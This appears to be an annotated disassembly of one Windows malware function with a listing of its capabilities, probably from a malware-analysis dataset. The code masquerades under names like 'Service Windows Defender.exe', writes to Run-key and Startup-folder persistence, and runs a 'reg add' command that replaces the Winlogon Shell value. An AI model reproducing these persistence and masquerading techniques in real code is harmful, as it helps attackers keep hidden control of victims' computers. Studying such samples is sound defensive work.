Function at 0x140016d60
Capabilities:
Create directory
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x14002b028]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov r15, rcx
mov qword [rbp - 0x58], rcx
xor ebx, ebx
mov dword [rsp + 0x40], ebx
lea rdx, [0x140023c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, [0x14002b108]
cmp qword [0x14002b120], 0x10
cmovae rdx, qword [0x14002b108]
mov r8, qword [0x14002b118]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c08]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._pid
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, [0x14002b0c8]
cmp qword [0x14002b0e0], 0x10
cmovae rdx, qword [0x14002b0c8]
mov r8, qword [0x14002b0d8]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c38]
mov rcx, rax
call fcn.14000d790
lea r13, [0x14002b088]
mov rdx, r13
cmp qword [0x14002b0a0], 0x10
cmovae rdx, qword [0x14002b088]
mov r8, qword [0x14002b098]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c28]
mov rcx, rax
call fcn.14000d790
lea rsi, [0x14002b168]
mov rdx, rsi
cmp qword [0x14002b180], 0x10
cmovae rdx, qword [0x14002b168]
mov r8, qword [0x14002b178]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c08]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, str.NONE
cmp qword [0x14002b160], 0x10
cmovae rdx, qword [str.NONE]
mov r8, qword [0x14002b158]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c08]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
mov edx, dword [0x14002be68]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140023c08]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140023c08]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, ebx
mov rax, qword [0x14002be78]
mov rcx, qword [0x14002be70]
sub rax, rcx
cmp rax, 0x20
jb 0x1400170c5
mov esi, ebx
nop dword [rax + rax]
lea rbx, [rsi + rcx]
mov rdx, rdi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140023c94]
call fcn.14000d790
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140017070
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c90]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc rdi
add rsi, 0x20
mov rax, qword [0x14002be78]
mov rcx, qword [0x14002be70]
sub rax, rcx
sar rax, 5
cmp rdi, rax
jne 0x140017040
lea rsi, [0x14002b168]
xor ebx, ebx
lea rdx, [0x140023c98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140023c08]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._SAFEMODE:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, [0x14002b128]
cmp qword [0x14002b140], 0x10
cmovae rdx, qword [0x14002b128]
mov r8, qword [0x14002b138]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c08]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._DEFENDER:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, [0x14002b0a8]
cmp qword [0x14002b0c0], 0x10
cmovae rdx, qword [0x14002b0a8]
mov r8, qword [0x14002b0b8]
mov rcx, rax
call fcn.14000e9c0
lea rdx, [0x140023c08]
mov rcx, rax
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14002b178]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, rcx
cmp rax, 9
jb 0x140017d9d
mov rax, rsi
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp - 0x10]
call fcn.14000e880
mov dword [rsp + 0x40], 2
mov r8d, 0x35
lea rdx, [0x140023cc8]
lea rcx, [rbp - 0x10]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rbx
movups xmm0, xmmword [rax]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r15 + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x40], 7
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400172f9
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400172f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400172f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdi, qword [0x14002b0a0]
mov rcx, r13
mov r12, qword [0x14002b088]
cmp rdi, 0x10
cmovae rcx, r12
mov rbx, qword [0x14002b098]
cmp rbx, 0x1c
jne 0x140017343
mov r8, rbx
lea rdx, str.Service_Windows_Defender.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001738b
mov rcx, r13
cmp rdi, 0x10
cmovae rcx, r12
cmp rbx, 0x1e
jne 0x140017367
mov r8, rbx
lea rdx, str.Security_Microsoft_Service.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001738b
mov rcx, r13
cmp rdi, 0x10
cmovae rcx, r12
cmp rbx, 0x12
jne 0x1400173b6
mov r8, rbx
lea rdx, str.Filter_Service.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400173b6
cmp dword [0x14002be68], 0
jne 0x140017d64
lea rdx, [0x14002b0c8]
lea rcx, [rsp + 0x68]
call fcn.14000c820
mov rcx, rax
call fcn.140003a00
jmp 0x140017d64
mov rcx, qword [0x14002b178]
mov rax, r14
sub rax, rcx
cmp rax, 9
jb 0x140017da3
mov rax, rsi
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0x10]
call fcn.14000e880
mov dword [rsp + 0x40], 0xf
mov r8d, 0x16
lea rdx, str.AppDataLocalService
lea rcx, [rbp + 0x10]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov dword [rsp + 0x40], 0x1f
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140017495
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017490
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017490
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rcx, qword [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, qword [0x14002b178]
mov rax, r14
sub rax, rcx
cmp rax, 9
jb 0x140017da9
mov rax, rsi
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x68]
call fcn.14000e880
mov dword [rsp + 0x40], 0x3f
mov r8d, 0x5d
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
lea rcx, [rsp + 0x68]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r12d, 0x7f
mov dword [rsp + 0x40], r12d
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14001759e
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017599
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017599
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rcx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x1400175be
mov rcx, qword [r15]
lea rdx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140017644
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
mov rdx, r15
lea rcx, [rbp - 0x10]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp - 0x78]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140002a50
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140017642
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001763d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001763d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
xor ebx, ebx
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
lea rdx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x1400177bc
lea rax, [rbp - 0x10]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
lea rsi, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rsi, qword [rbp + 0x30]
mov rdi, qword [rbp + 0x40]
cmp rdi, r14
ja 0x140017daf
mov qword [rbp + 8], 0xf
cmp rdi, 0x10
jae 0x1400176c0
mov qword [rbp], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140017756
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x1400176d1
mov rbx, r14
jmp 0x1400176de
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14001772b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140017db5
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x140017724
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140017739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140017737
call fcn.14001e2a0
jmp 0x140017739
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp], rdi
mov qword [rbp + 8], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
lea rdx, str.NONE
lea rcx, [rbp - 0x78]
call fcn.14000c820
nop
lea r8, [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140002a50
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400177b5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400177b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400177b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
lea rsi, [0x14002b168]
cmp qword [0x14002b0c0], 0x10
lea rax, [0x14002b0a8]
cmovae rax, qword [0x14002b0a8]
mov r8, qword [0x14002b0b8]
cmp r8, 2
jne 0x140017a27
lea rdx, [0x140022a44]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140017a27
cmp qword [0x14002b140], 0x10
lea rax, [0x14002b128]
cmovae rax, qword [0x14002b128]
mov r8, qword [0x14002b138]
cmp r8, 6
jne 0x140017a27
lea rdx, str.NORMAL
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140017a27
mov rcx, qword [0x14002b178]
mov rax, r14
sub rax, rcx
cmp rax, 0x67
jb 0x140017dbb
mov rax, rsi
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x67
lea r9, str.reg_add__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___t_REG_SZ__d__C:Users_
lea rcx, [rbp + 0x10]
call fcn.14000e880
mov dword [rsp + 0x40], 0xff
mov r8d, 0x39
lea rdx, str.AppDataLocalService_
lea rcx, [rbp + 0x10]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r12d, 0x1ff
mov dword [rsp + 0x40], r12d
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14001791b
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017916
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017916
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r13
cmp qword [0x14002b0a0], 0x10
cmovae rcx, qword [0x14002b088]
mov r8, qword [0x14002b098]
cmp r8, 0x1e
jne 0x140017970
lea rdx, [0x140023e48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400179e9
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x60], rax
lea rdx, [0x140022874]
lea rcx, [rbp - 0x78]
call fcn.140001310
mov rsi, rax
lea rdx, [0x140022835]
lea rcx, [rbp - 0x50]
call fcn.140001310
mov rdi, rax
lea rdx, [0x140022835]
lea rcx, [rbp - 0x30]
call fcn.140001310
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x70]
call fcn.140001310
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.140003bf0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140017a27
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017a22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov rcx, r13
cmp qword [0x14002b0a0], 0x10
cmovae rcx, qword [0x14002b088]
mov r8, qword [0x14002b098]
cmp r8, 0x1e
jne 0x140017a57
lea rdx, [0x140023e48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140017ad6
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x70]
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x50], rax
lea rdx, [0x140022870]
lea rcx, [rbp + 0x70]
call fcn.140001310
mov rsi, rax
mov rdx, r15
lea rcx, [rbp - 0x30]
call fcn.14000c820
mov rdi, rax
lea rdx, [0x140023e98]
lea rcx, [rbp - 0x50]
call fcn.140001310
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp - 0x78]
call fcn.140001310
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.140003bf0
lea rdx, [0x140023eb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140023c08]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023c20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14002b0a0], 0x10
cmovae r13, qword [0x14002b088]
mov r8, qword [0x14002b098]
cmp r8, 0x1e
jne 0x140017cd4
lea rdx, [0x140023e48]
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140017cd4
cmp dword [0x14002be68], eax
je 0x140017cd4
mov rcx, qword [0x14002b178]
sub r14, rcx
cmp r14, 9
jb 0x140017d97
cmp qword [0x14002b180], 0x10
lea rax, [0x14002b168]
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0x10]
call fcn.14000e880
bts r12d, 9
mov dword [rsp + 0x40], r12d
mov r8d, 0x14
lea rdx, str.AppDataLocalStory
lea rcx, [rbp + 0x10]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0xa
mov dword [rsp + 0x40], r12d
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140017c56
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017c51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x70]
call fcn.14000c820
mov rcx, rax
